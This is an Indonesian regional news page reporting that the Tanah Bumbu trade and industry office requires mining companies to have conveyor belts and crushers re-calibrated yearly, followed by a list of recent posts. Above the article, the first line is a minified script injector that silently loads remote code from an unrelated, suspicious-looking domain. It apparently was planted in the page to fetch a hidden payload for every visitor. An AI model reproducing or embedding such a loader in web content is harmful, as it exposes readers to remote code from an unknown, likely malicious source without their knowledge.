(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

DKUMP2 Tanbu Wajibkan Tera Ulang Compeyor Belt dan Crusher Perusahaan Tambang


KANALKALIMANTAN.COM, BATULICIN – Dinas Koperasi Usaha Mikro Perdagangan dan Perindustrian (DKUMP2) Kabupaten Tanah Bumbu (Tanbu) rapat dengan pihak perusahaan pertambangan yang beroperasi di Tanah Bumbu.

Rapat dibuka langsung Bupati HM Zairullah Azhar didampingi Sekda H Ambo Sakka, dan Staf Ahli Bupati, Rabu (29/6/2022), membahas penerapan kegiatan tera/tera ulang khusus untuk alat UTTP (ukur, takar, timbang, dan perlengkapanya) berupa compeyor belt dan crusher yang selama ini banyak digunakan oleh para pengusaha pertambangan di Tanbu.

Kepala DKUMP2 Tanbu, H Deni Hariyanto, mengatakan, tera dan tera ulang timbangan ban berjalan (compeyor belt dan crusher) sejak tahun 2020 sudah masuk ke dalam ruang lingkup kewenangan Unit Metrologi Legal (UML) Kabupaten Tanbu.

Sesuai dengan surat keputusan Direktorat Metrologi Nomor 39 Tahun 2020, namun baru dilaksanakan tahun 2022 karena baru tahun ini petugas penera berhak punya sertifikasi untuk boleh melaksanakan peneraan.

 

 

Baca juga: Empat Desa di Babirik Mulai Manfaatkan Drone untuk Basmi Gulma di Lahan Pertanian

“Manfaat dari pelaksanaan tera ulang bagi kalangan usaha dan masyarakat adalah punya kepastian hukum dan ukuran, mudah melakukan audit internal maupun eksternal, serta sebagai syarat utama transaksi,” ujarnya.

Sedangkan bagi daerah, sebagai penyumbang sumber PAD dari dunia usaha melalui urusan kemetrologian.

Sementara itu, Bupati HM Zairullah Azhar menyebutkan, dalam rangka untuk menjadikan Kabupaten Tanah Bumbu sebagai kabupaten agamis Bersujud menuju Serambi Madinah maka alat yang digunakan oleh para pengusaha harus tertib dan punya kepastian ukuran dalam kegiatan usaha.

Hasil rapat dan sosialisasi tersebut didapat keputusan bersama mengenai komitmen untuk melaksanakan pelayanan tera dan tera ulang timbangan ban berjalan baik conveyor belt maupun crusher secara berkala setiap tahun sesuai dengan masa wajib tera alat UTTP tersebut.

Hadir pada rapat dan sosialiasi tersebut Kadis DKUMP2, Kadis PMPTSP, Kadishub, Bagian Hukum Setda, Bagian Ekonomi dan SDA Setda , Dinas Satpol PP, Staf Khusus Percepatan Pembangunan, dan perwakilan dari PT BIB, PT TIA , PT BIR, PT STU, PT CLS, PT BKW, PT Bayan Resources, serta PT Dua Samudra Perkasa. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

2 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

2 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

3 jam ago

Pemkab Kapuas Bahas Kesiapan Daerah Dukung Program 3 Juta Rumah

KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More

3 jam ago

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

1 hari ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

2 hari ago

This website uses cookies.